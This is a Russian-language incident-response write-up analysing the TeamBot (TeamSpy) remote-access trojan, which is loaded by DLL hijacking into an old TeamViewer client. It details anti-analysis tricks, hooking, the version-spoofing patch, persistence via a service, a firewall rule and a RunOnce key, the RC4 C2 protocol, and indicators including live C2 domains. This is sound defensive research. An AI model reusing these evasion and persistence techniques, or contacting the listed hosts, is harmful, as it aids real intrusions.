В октябре 2021 года к нам в Solar JSOC CERT поступил запрос: одна крупная технологическая компания попросила помочь в расследовании инцидента. В процессе работы мы обнаружили старую знакомую - вредоносную DLL TeamBot (aka TeamSpy, TVSPY, TeamViewerENT, TVRAT), которая загружалась легитимной утилитой TeamViewer. Это ВПО уже лет 10 фигурирует в отчетах как отечественных, так и зарубежных ИБ-компаний. Но за эти годы TeamBot научился кое-чему новому, о чем мы и расскажем в этом посте.

Вектор атаки

Итак, TeamBot в основном распространяется через фишинг (какая неожиданность!). В нашем кейсе жертвы получали вот такие письма:

Архив содержал текстовый файл "Код 0921.txt", имя которого является паролем для распаковки внутреннего архива с полезной нагрузкой.

Аналогичная структура архива фишингового письма описывается в статье наших коллег из Dr.Web. «В приложенном архиве находится защищенный RAR-архив и текстовый файл с паролем. В архиве находится дроппер в виде самораспаковывающегося RAR’а, внутри которого лежит сам BackDoor.RMS.180.»

Исполняемый файл архива представлял из себя установщик NSIS (Nullsoft Scriptable Install System – https://nsis.sourceforge.io), который при запуске в тихом режиме распаковывал следующие файлы в каталог %PROGRAMDATA%\ViberPC\icons:

Далее запускался файл Uniprint.exe (далее – процесс TeamViewer) с аргументом f:  UniPrint.exe f.

Вредоносная DLL, располагаемая рядом с Uniprint.exe, через технику DLL Hijacking загружалась процессом TeamViewer.

В статье Dr.Web, упомянутой выше, в составе BackDoor.RMS.180 для легитимной утилиты удаленного управления использовалось аналогичное имя – Uniprint.exe:

«Состав самораспаковывающегося дроппера:

libeay32.dll (f54a31a9211f4a7506fdecb5121e79e7cdc1022e), чистый;

ssleay32.dll (18ee67c1a9e7b9b82e69040f81b61db9155151ab), чистый;

UniPrint.exe (71262de7339ca2c50477f76fcb208f476711c802), подписан действительной подписью;

WinPrint.exe (3c8d1dd39b7814fdc0792721050f953290be96f8), подписан действительной подписью;

winspool.drv (c3e619d796349f2f1efada17c9717cf42d4b77e2) — основной вредоносный модуль, обеспечивающий скрытую работу Remote Utilities.»

Анализ TV.dll

Вредоносная DLL – 32-разрядный файл, скомпилированный 31.08.2021 07:21:32 UTC. Он имеет идентичные оригинальной DLL метаданные и pdb-путь, но экспортируемые функции отличаются, а цифровая подпись отсутствует. Cравните:

Для сравнения в качестве оригинальной TV.dll была использована следующая:

Техники для усложнения анализа (anti-analysis)

1. Шифрование домена и пути сервера управления (далее – C2).

Для шифрования применяется операция NOT к каждому байту домена и пути C2. В некоторых образцах данные C2 представлены в незашифрованном виде, но после запуска шифруются. Зашифрованные домен и путь С2 чаще всего располагаются рядом и разделены несколькими 0x00-байтами:

2. Использование StrChr + wsprintf

С помощью WinAPI-функций StrChr выполняется поиск нужных подстрок, а wsprintf используется для формирования конечной строки.

3. Использование хешей API-вызовов при динамическом импорте

Псевдокод алгоритма хеширования:

api_hash = crc32("<api_name>") ^ xor_key,

где <api_name> – имя API-вызова, например, LoadLibraryA;

xor_key – 0x435A88 (Uniprint.exe OptionalHeader.CheckSum) или 0x4B4CA51F (Uniprint.exe FileHeader.TimeDateStamp).

Кстати, аналогичным образом кодируются команды, получаемые от C2.

4. Получение строк по raw-смещению из указанного PE-файла

Строки берутся из легитимного файла TeamViewer.exe (в данном случае Uniprint.exe) по смещению.

5. Anti-debug техника через поиск окна OllyDbg, но со своими особенностями

Злоумышленники используют WinAPI-функцию FindWindow для поиска окон с заголовками "ollyDbG" и "ollyDb":

Особенность в том, что вместо стандартного поведения – после обнаружения окна завершать программу – злоумышленники изменяют значение xor-ключа. Из-за этого не происходит динамической загрузки API, а значит, не устанавливаются хуки на функции, а весь основной функционал содержится в хуках.

Перехват функций с помощью библиотеки MinHook

Для установки хуков на функции использовалась библиотека с открытым исходным кодом MinHook. Совпадение по коду видно на следующем примере:

Стоит отметить, что аналогичная библиотека использовалась BackDoor.RMS.180 в кейсе, описанном Dr.Web: «Далее приступает к перехвату API-функций. Для этого использует библиотеку MinHook.»

Начальный этап запуска

После загрузки в легитимный процесс Uniprint.exe (переименованный Teamviewer.exe) вредоносная DLL выполняет несколько проверок:

1. Killswitch-проверка

Определяет наличие файла foobar.jpg на рабочем столе текущего пользователя:

При наличии файла происходит завершение процесса TeamViewer.

2. Проверка процесса TeamViewer

Выполняется путём проверки контрольной суммы файла или даты его компиляции:

OptionalHeader.CheckSum == 0x435A88

FileHeader.TimeDateStamp == 0x4B4CA51F (12.01.2010 16:36:47 UTC)

Аналогичные действия выполнял и BackDoor.RMS.180 из кейса  Dr.Web: «Затем бэкдор проверяет, в контексте какого исполняемого файла он работает. Для этого проверяет значение IMAGE_NT_HEADERS.OptionalHeader.CheckSum основного исполняемого модуля:»

 3. Проверка отсутствия тестового режима Windows

Тестовый режим в Windows позволяет установить драйверы без цифровой подписи.

Если данный режим включен, то происходит изменение xor-ключа. Из-за этого не выполняется динамический импорт API-вызовов и не устанавливаются хуки на функции.

Когда все проверки успешно пройдены, выполняется обработка аргументов командной строки и установка хуков на различные WinAPI-функции.

Подключение старой версии клиента TeamViewer к серверам

Чтобы получить удаленный доступ к жертве, злоумышленники используют довольно старый файл Uniprint.exe. Это легитимный файл TeamViewer QuickSupport 2010 года выпуска. Версия файла 5.0.7687. Вероятнее всего, использование такой старой версии обусловлено наличием в ней уязвимости к технике DLL Hijacking. При запуске данного файла без вредоносной библиотеки TV.dll он не подключается к серверам TeamViewer, не переходит в режим онлайн и, соответственно, не может предоставить удаленный доступ.

В рассматриваемой версии TeamBot рядом с вредоносной DLL и процессом TeamViewer находилась легитимная DLL Teamviewer_Resource_ja.dll, которая содержала в себе строки интерфейса TeamViewer на японском языке. Скорее всего, это было сделано для усложнения взаимодействия исследователей с TeamViewer. Приведем скриншот основного окна TeamViewer после запуска без изменения версии (для удобства приводим справа скриншот аналогичного окна англоязычной версии программы):

Для того чтобы такой старый файл мог подключаться к серверам TeamViewer и предоставлять удаленный доступ, злоумышленники перед установкой хуков изменяют значение версии в памяти процесса TeamViewer:

Функция mw_replace_tv_version выполняет поиск страниц памяти, которые удовлетворяют следующим требованиям:

• состояние страницы MEM_COMMIT;

• тип страницы MEM_PRIVATE;

• права доступа PAGE _READWRITE.

Далее в найденных страницах выполняется последовательное сравнение 16 байт, пока не будет обнаружена UTF16-LE строка "5.0.7687".

После обнаружения данной строки происходит замена "5.0.7" на "15.0.", в результате чего версия становится "15.0.687".

Это приводит к тому, что дальше процесс TeamViewer будет обращаться к другим адресам, актуальным для старой, 15-й, версии. Данное значение версии будет отправляться на эти серверы, что в конечном итоге приведет к успешному соединению и статусу «онлайн»:

Мы также попробовали применить данный прием на другой старой версии TeamViewer Quick Support – 5.1.17330 QS – и срабатывало!

Такая техника замены версии перестала работать примерно с ноября 2021 года. Скорее всего, производитель (компания TeamViewer) ввел дополнительные проверки.  Здесь стоит отдельно отметить, что из-за неработающей техники замены версии злоумышленники потеряли только возможность удаленного управления через TeamViewer. RAT-функционал, реализуемый вредоносной DLL, остался и позволял выполнять команды управления, получаемые с C2.

Аргументы командной строки

Вредоносная DLL поддерживает следующие аргументы командной строки, которые передаются процессу TeamViewer:

Хук user32.CreateDialogParamW. Закрепление и запуск RAT-потока

Большинство хуков предназначены для сокрытия окон TeamViewer
и обеспечения его работы в тихом режиме. Общий список API-функций, на которые устанавливаются хуки, приведен ниже.

Раскрыть список

Хуки kernel32.dll

CreateFileW

CreateMutexA

CreateDirectoryW

MoveFileW

MoveFilewExW

Хуки user32.dll

CreateDialogParamW

RegisterClassExW

CreateWindowExW

MoveWindow

SetWindowPos

ShowWindow

Shell_NotifyIconW

InvalidateRect

MessageBoxA

MessageBoxW

IsWindowVisible

BringWindowToTop

SetForegroundWindow

SetFocus

FindWindowW

SystemParametersInfoW

Хуки shell32.dll

RegCreateKeyExW

RegOpenKeyExW

Хуки iphlpapi.dll

GetAdaptersInfo

Хуки wintrust.dll

WinVerifyTrust

 Хуки wsock32.dll

bind

Остановимся на описании кода хука, который запускает потоки опроса C2 и выполнения команд, а также другие ключевые действия. Итак, что же делает хук:

• Делает окна процесса TeamViewer невидимыми и убирает текст их заголовков. В итоге пользователь не видит окна и журнал копирования файлов, а также окна отсутствия соединения с серверами TeamViewer.

• В каталоге с вредоносной DLL запускает все файлы с расширением pdll
  (они распаковываются с помощью WinAPI-функции RtlDecompressBuffer и инжектируются в создаваемый процесс "%system_directory%\rundll32.exe" -svcr "%pdll-file%").

• Добавляет входящее правило брандмауэра "UniPrint Manager", разрешающее входящий трафик исполняемому файлу Uniprint.exe:

• Создает и запускает службу USBManager (отображаемое имя USB Ports Manager), которая запускается в рамках легитимного процесса svchost.exe в своей группе – USBPortsManagerGrp. Командная строка для запуска: %%SYSTEMROOT%%\system32\svchost.exe -k "USBPortsManagerGrp" -svcr "<имя_исполняемого_файла_TeamViewer>". Служба обеспечивает закрепление (persistence) TeamBot в системе путём запуска процесса, указанного в параметре -svcr, для каждого пользователя, осуществляющего logon (событие WTS_SESSION_LOGON) с правами данного пользователя.

• Записывает данные "UniPrint.exe f" в значение с именем исполняемого файла в ключ HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce.

• Запускается поток получения и обработки команд с C2.

Взаимодействие с C2

По умолчанию интервал опроса C2 – 60 секунд. Значение может изменяться при получении новых данных с C2. Если значение меньше 10 секунд, то интервал опроса снова устанавливается в значение по умолчанию.

При каждом опросе выполняются следующие действия:

• отправка и получение данных с C2;

• обновление конфига TeamBot в TeamViewer.ini;

• актуализация данных для подключения к C2.

Структура данных отправляемых на C2 (максимальный размер – 4096 байт):

Данные запроса перед отправкой шифруются с использованием алгоритма RC4. Ключ – доменное имя C2 (например, "widolapsed[.]info").

Данные отправляются по протоколу http/https (в зависимости от конфигурации) POST-запросом следующего формата:

Формат запроса:

Заголовки:

POST /C4E23A5C/ HTTP/1.1

Cache-Control: no-cache

Content-Length: 37194

Content-Type: multipart/form-data; boundary=--------<random_dword_from_RtlRandom>

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; DynGate)

Host: widolapsed.info (RC4_key)

Connection: close

----------<random_dword_from_RtlRandom>

Content-Disposition: form-data; name="k"

Content-Type: text/plain

Content-Transfer-Encoding: binary

Данные:

RC4_encrypted_header RC4_encrypted_screenshot RC4_encrypted cmd_output

В качестве User-Agent используется легитимный агент TeamViewer процесса.

Формат ответа:

Конфигурация TeamBot в ini-файле

Конфигурация TeamBot сохраняется в легитимном файле TeamViewer.ini. Помимо стандартных настроек конфигурации TeamViewer (например, LogIncomingConnections = 0 для отключения логирования входящих соединений), есть и настройки, относящиеся непосредственно к TeamBot:

Для лучшего понимания значений параметров приведем подробный разбор формата их записи.

hdn / hdc – вероятно "host domain new" и "host domain current".

Символы n и c отражают тип параметра:

Формат записи параметров подключения:

h<parameter_name><parameter_type>, где

<parameter_name> может принимать следующие значения:

• d – domain;

• p – path;

• s – security.

<parameter_type> может принимать следующие значения:

• n ("new") – параметры, начинающиеся на h и оканчивающиеся на n, относятся к новым данным для подключения к C2;

• c ("current") – параметры, начинающиеся на h и оканчивающиеся на c, относятся к текущим данным для подключения к С2.

TeamBot при каждом опросе в качестве C2 использует current-значения из ini-файла. Если current-значений нет, то используются параметры C2, вшитые во вредоносную DLL. Новые данные для подключения от C2 записываются в new-значения в ini-файле и становятся current-значениями только после наступления времени, которое задается параметром gd (в формате unix timestamp). Схема ротации C2:

Под спойлером - описание всех возможных параметров TeamBot в ini-файле.

Спойлер

Параметр конфигурации	Описание
Раздел [Settings]
new параметры задают новые данные для подключения к C2 после устаревания старых данных
hdn "host domain new"	Домен C2. Пример, reneagemones.info
hpn "host path new"	Путь C2. Пример, /C4E23A5C/
hsn "host security new"	Использовать ли протокол https для подключения к С2. По умолчанию 0x1
current параметры отображают текущие данные для подключения к C2
hdс "host domain current"	Домен C2. Пример, reneagemones.info
hpс "host path current"	Путь C2. Пример, /C4E23A5C/
hsс "host security current"	Использовать ли протокол https для подключения к С2. По умолчанию 0x1
Временные параметры
ht "host time"	Время задержки перед использованием «новых» данных для подключения к C2 в часах.
gd	Метка времени, после которой необходимо обновить данные для подключения к C2. Задается в формате UNIX timestamp. gd = current_unix_time + 3600 * ht
<tv_vpn_service_name>	Полный путь до установочного файла vpn-службы TeamViewer. Пример, install.exe из архива vpn.cab
Раздел [PWD] В данном разделе сохраняются пароли учетных записей в открытом виде, которые получаются после ввода паролей в фейковые окна ввода паролей, которые может отображать TeamBot
Ключи формата <fqdn_formatted_hostname>\ <username>	Пароль пользователя в открытом виде, полученный с помощью фейковых окон на защищенном рабочем столе
Разделы [<SID_string>], Где <SID_string> – SID-строка пользователя
gd	Случайно сгенерированное ID-пользователя, которое записывается в ini-файл по команде 0x5D22927C ("genid")

Список команд

Последний параметр в ответе C2 – строка команды в формате: action_name action_arg1 action_arg2…

Внутри TeamBot над action_name выполняются следующие преобразования:

encrypted_action_name = CRC32(action_name) ^ xor_key, где xor_key = 0x435A88 (Uniprint.exe OptionalHeader.CheckSum) или 0x4B4CA51F (Uniprint.exe FileHeader.TimeDateStamp).

Поэтому все команды в коде TeamBot представляют собой 4-байтовые последовательности.

Аналогичное кодирование и названия команд присутствовали в статье компании Avast в 2017 году : «The communication via the TeamViewer chat allows for the basic backdoor functionalities to be performed: applist, wcmd, ver, os, vpn, locale, time, webcam, genid. Inside the TeamSpy code, these commands are compared to their crc32 checksums, so collisions can very easily happen. Because crc32(wcmd) = 07B182EB = crc32(aacvqdz), both of these commands are interchangeable.»

Таблица совпадений команд TeamBot

Команды TeamBot 2021

Ниже приведены примеры фейковых окон:

Аргумент "f" без прав администратора:

Остальные аргументы и сообщения об ошибках:

Внутренняя структура данных веб-панели C2

На C2 также был поднят веб-сервер. При открытии URL С2 в браузере появляется форма с логином, паролем и CAPTCHA. Логина и пароля у нас не было, но мы заметили, что среди статических файлов, которые загружаются при посещении панели логина, был js-скрипт main.js на ~3700 строк. В первой строке файла была видна версия ботнета:

Файл предназначался для корректного отображения динамического контента при работе в панели управления ботнетом, не содержал самих данных, но раскрывал их внутреннюю структуру.

Судя по полученному js-файлу веб-панель управления TeamBot имела следующие стандартные возможности:

• управление пользователями;

• управление как одним ботом, так и несколькими;

• подробная информация по каждому отдельно взятому боту;

• механизм создания / выполнения задач;

• получение статистической информации;

• возможность управления через telegram-бота.

POST-методы панели ботнета:

timezones, getbots, comment, screenshot, gettasks, getgtasks, cleartask, addtask, addgtask, removetask, removegtask, remove, logout, getfiles, uploadfile, removefile, removeuser, tgbotstate

GET-метод панели ботнета – statistic.

Поля таблицы ботов:

bot_id, ip, country, os, lastwnd, runasadmin, tasks, comment, added_dt, last_dt, id, country_code, city, type, osmajor, osminor, oswks, osbuild, os64, lang, lang_code, service, compname, region, admin, username, cmdsupport, killsupport, screensm, vpn, dllmajor, dllminor, build, bot_pass, userpass.

Поля таблицы файлов:

id, date_added, user, filetype, filename, len, hash.

Поля таблицы пользователей:

id, login, lonline, roles.

Типы статистической информации

Заключение

С определенной долей уверенности можно сказать, что в атаках 2017  (отчет компании Avast), 2020 (отчет компании Dr.Web) и 2021 года использовалась одна кодовая база, которая просто дорабатывалась под конкретные нужды злоумышленников. Мы уверены, что это ещё не конец истории TeamBot, и злоумышленники продолжат его дорабатывать. Но есть и хорошие новости: большинство вредоносных DLL успешно детектируются антивирусами.

P.S

Индикаторы компрометации (IOC)

Образцы, исследуемые в статье:

Хостовые индикаторы:

Каталог %APPDATA%\ViberPC\icons\

Каталог %PROGRAMDATA%\ViberPC\icons\

Группа USBPortsManagerGrp

Служба USBManager (описание "USB Ports Manager")

Правило брандмауэра "UniPrint Manager"

 Сетевые индикаторы из рассматриваемой в статье вредоносной DLL:

widolapsed.info/C4E23A5C/

outnegorave.info/C4E23A5C/

reneagemones.info/C4E23A5C/

Сетевые индикаторы из других образцов кампании:

45.147.229.222/A9F5CA80/

tendiever.com/update/

widolapsed.info/B8C631A8/

novaleadfore.info/C85A35E0/

sump.tech/o2kmz/

outnegorave.info/B8C631A8/

outnegorave.info/DA560AB0/

Автор: Антон Каргин, инженер технического расследования "Ростелеком-Солар"